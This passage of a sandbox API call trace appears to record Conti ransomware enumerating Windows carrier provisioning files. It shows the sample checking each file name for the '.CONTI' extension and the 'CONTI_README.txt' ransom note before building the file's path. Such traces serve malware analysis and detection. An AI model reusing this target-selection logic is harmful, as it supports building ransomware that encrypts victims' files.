	[0109.492] lstrcmpiW (lpString1="429__Connections_Cellular_Tele2 (Switzerland)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.492] StrStrIW (lpFirst="429__Connections_Cellular_Tele2 (Switzerland)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.492] StrStrIW (lpFirst="429__Connections_Cellular_Tele2 (Switzerland)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.492] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.492] lstrlenW (lpString="429__Connections_Cellular_Tele2 (Switzerland)_i0$(__MVID)@WAP.provxml") returned 69
	[0109.492] GetProcessHeap () returned 0x1720000
	[0109.492] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x140) returned 0x1807750
	[0109.492] lstrcpyW (in: lpString1=0x1807750, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.492] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.492] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="429__Connections_Cellular_Tele2 (Switzerland)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\429__Connections_Cellular_Tele2 (Switzerland)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\429__Connections_Cellular_Tele2 (Switzerland)_i0$(__MVID)@WAP.provxml"
	[0109.492] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90247f0e, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90247f0e, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90247f0e, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x352, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="42__Connections_Cellular_VELCOM (Belarus)_i3$(__MVID)@WAP.provxml", cAlternateFileName="42__CO~1.PRO")) returned 1
	[0109.492] lstrcmpiW (lpString1="42__Connections_Cellular_VELCOM (Belarus)_i3$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.492] lstrcmpiW (lpString1="42__Connections_Cellular_VELCOM (Belarus)_i3$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.492] StrStrIW (lpFirst="42__Connections_Cellular_VELCOM (Belarus)_i3$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.492] StrStrIW (lpFirst="42__Connections_Cellular_VELCOM (Belarus)_i3$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.492] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.492] lstrlenW (lpString="42__Connections_Cellular_VELCOM (Belarus)_i3$(__MVID)@WAP.provxml") returned 65
	[0109.492] GetProcessHeap () returned 0x1720000
	[0109.492] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x138) returned 0x1807db8
	[0109.492] lstrcpyW (in: lpString1=0x1807db8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.492] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.492] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="42__Connections_Cellular_VELCOM (Belarus)_i3$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\42__Connections_Cellular_VELCOM (Belarus)_i3$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\42__Connections_Cellular_VELCOM (Belarus)_i3$(__MVID)@WAP.provxml"
	[0109.492] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90fb18e0, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90fb18e0, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90fb18e0, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x27d, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="430__Connections_Cellular_MTN (Syria)_i0$(__MVID)@WAP.provxml", cAlternateFileName="430__C~1.PRO")) returned 1
	[0109.492] lstrcmpiW (lpString1="430__Connections_Cellular_MTN (Syria)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.492] lstrcmpiW (lpString1="430__Connections_Cellular_MTN (Syria)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.492] StrStrIW (lpFirst="430__Connections_Cellular_MTN (Syria)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.492] StrStrIW (lpFirst="430__Connections_Cellular_MTN (Syria)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.493] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.493] lstrlenW (lpString="430__Connections_Cellular_MTN (Syria)_i0$(__MVID)@WAP.provxml") returned 61
	[0109.493] GetProcessHeap () returned 0x1720000
	[0109.493] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x130) returned 0x17e1810
	[0109.493] lstrcpyW (in: lpString1=0x17e1810, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.493] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.493] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="430__Connections_Cellular_MTN (Syria)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\430__Connections_Cellular_MTN (Syria)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\430__Connections_Cellular_MTN (Syria)_i0$(__MVID)@WAP.provxml"
	[0109.493] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90fb18e0, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90fb18e0, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90fb18e0, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28a, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="431__Connections_Cellular_SyriaTel (Syria)_i0$(__MVID)@WAP.provxml", cAlternateFileName="431__C~1.PRO")) returned 1
	[0109.493] lstrcmpiW (lpString1="431__Connections_Cellular_SyriaTel (Syria)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.493] lstrcmpiW (lpString1="431__Connections_Cellular_SyriaTel (Syria)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.493] StrStrIW (lpFirst="431__Connections_Cellular_SyriaTel (Syria)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.493] StrStrIW (lpFirst="431__Connections_Cellular_SyriaTel (Syria)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.493] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.493] lstrlenW (lpString="431__Connections_Cellular_SyriaTel (Syria)_i0$(__MVID)@WAP.provxml") returned 66
	[0109.493] GetProcessHeap () returned 0x1720000
	[0109.493] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13a) returned 0x1807898
	[0109.493] lstrcpyW (in: lpString1=0x1807898, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.493] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.493] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="431__Connections_Cellular_SyriaTel (Syria)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\431__Connections_Cellular_SyriaTel (Syria)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\431__Connections_Cellular_SyriaTel (Syria)_i0$(__MVID)@WAP.provxml"
	[0109.493] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90fb18e0, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90fb18e0, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90fb18e0, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="432__Connections_Cellular_Chunghwa (Taiwan)_i0$(__MVID)@WAP.provxml", cAlternateFileName="432__C~1.PRO")) returned 1
	[0109.493] lstrcmpiW (lpString1="432__Connections_Cellular_Chunghwa (Taiwan)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.493] lstrcmpiW (lpString1="432__Connections_Cellular_Chunghwa (Taiwan)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.493] StrStrIW (lpFirst="432__Connections_Cellular_Chunghwa (Taiwan)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.493] StrStrIW (lpFirst="432__Connections_Cellular_Chunghwa (Taiwan)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.493] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.493] lstrlenW (lpString="432__Connections_Cellular_Chunghwa (Taiwan)_i0$(__MVID)@WAP.provxml") returned 67
	[0109.493] GetProcessHeap () returned 0x1720000
	[0109.493] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13c) returned 0x18079e0
	[0109.493] lstrcpyW (in: lpString1=0x18079e0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.493] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.493] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="432__Connections_Cellular_Chunghwa (Taiwan)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\432__Connections_Cellular_Chunghwa (Taiwan)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\432__Connections_Cellular_Chunghwa (Taiwan)_i0$(__MVID)@WAP.provxml"
	[0109.494] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90fb18e0, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90fb18e0, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90fb18e0, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x344, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="433__Connections_Cellular_Chunghwa (Taiwan)_i1$(__MVID)@WAP.provxml", cAlternateFileName="433__C~1.PRO")) returned 1
	[0109.494] lstrcmpiW (lpString1="433__Connections_Cellular_Chunghwa (Taiwan)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.494] lstrcmpiW (lpString1="433__Connections_Cellular_Chunghwa (Taiwan)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.494] StrStrIW (lpFirst="433__Connections_Cellular_Chunghwa (Taiwan)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.494] StrStrIW (lpFirst="433__Connections_Cellular_Chunghwa (Taiwan)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.494] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.494] lstrlenW (lpString="433__Connections_Cellular_Chunghwa (Taiwan)_i1$(__MVID)@WAP.provxml") returned 67
	[0109.494] GetProcessHeap () returned 0x1720000
	[0109.494] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13c) returned 0x1808190
	[0109.494] lstrcpyW (in: lpString1=0x1808190, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.494] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.494] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="433__Connections_Cellular_Chunghwa (Taiwan)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\433__Connections_Cellular_Chunghwa (Taiwan)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\433__Connections_Cellular_Chunghwa (Taiwan)_i1$(__MVID)@WAP.provxml"
	[0109.494] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90fd7b44, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90fd7b44, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90fd7b44, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x27f, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="434__Connections_Cellular_MoBiTai (Taiwan)_i0$(__MVID)@WAP.provxml", cAlternateFileName="434__C~1.PRO")) returned 1
	[0109.494] lstrcmpiW (lpString1="434__Connections_Cellular_MoBiTai (Taiwan)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.494] lstrcmpiW (lpString1="434__Connections_Cellular_MoBiTai (Taiwan)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.494] StrStrIW (lpFirst="434__Connections_Cellular_MoBiTai (Taiwan)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.494] StrStrIW (lpFirst="434__Connections_Cellular_MoBiTai (Taiwan)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.494] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.494] lstrlenW (lpString="434__Connections_Cellular_MoBiTai (Taiwan)_i0$(__MVID)@WAP.provxml") returned 66
	[0109.494] GetProcessHeap () returned 0x1720000
	[0109.494] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13a) returned 0x1807b28
	[0109.494] lstrcpyW (in: lpString1=0x1807b28, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.494] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.494] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="434__Connections_Cellular_MoBiTai (Taiwan)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\434__Connections_Cellular_MoBiTai (Taiwan)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\434__Connections_Cellular_MoBiTai (Taiwan)_i0$(__MVID)@WAP.provxml"
	[0109.494] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90fd7b44, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90fd7b44, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90fd7b44, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cb, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="435__Connections_Cellular_Taiwan Mobile (Taiwan)_i0$(__MVID)@WAP.provxml", cAlternateFileName="435__C~1.PRO")) returned 1
	[0109.494] lstrcmpiW (lpString1="435__Connections_Cellular_Taiwan Mobile (Taiwan)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.494] lstrcmpiW (lpString1="435__Connections_Cellular_Taiwan Mobile (Taiwan)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.494] StrStrIW (lpFirst="435__Connections_Cellular_Taiwan Mobile (Taiwan)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.494] StrStrIW (lpFirst="435__Connections_Cellular_Taiwan Mobile (Taiwan)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.495] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.495] lstrlenW (lpString="435__Connections_Cellular_Taiwan Mobile (Taiwan)_i0$(__MVID)@WAP.provxml") returned 72
	[0109.495] GetProcessHeap () returned 0x1720000
	[0109.495] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x146) returned 0x656c560
	[0109.495] lstrcpyW (in: lpString1=0x656c560, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.495] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.495] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="435__Connections_Cellular_Taiwan Mobile (Taiwan)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\435__Connections_Cellular_Taiwan Mobile (Taiwan)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\435__Connections_Cellular_Taiwan Mobile (Taiwan)_i0$(__MVID)@WAP.provxml"
	[0109.495] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90fd7b44, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90fd7b44, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90fd7b44, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1f2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="436__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", cAlternateFileName="436__C~1.PRO")) returned 1
	[0109.495] lstrcmpiW (lpString1="436__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2=".") returned 1
	[0109.495] lstrcmpiW (lpString1="436__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2="..") returned 1
	[0109.495] StrStrIW (lpFirst="436__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch=".CONTI") returned 0x0
	[0109.495] StrStrIW (lpFirst="436__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.495] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.495] lstrlenW (lpString="436__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned 68
	[0109.495] GetProcessHeap () returned 0x1720000
	[0109.495] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13e) returned 0x1807c70
	[0109.495] lstrcpyW (in: lpString1=0x1807c70, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
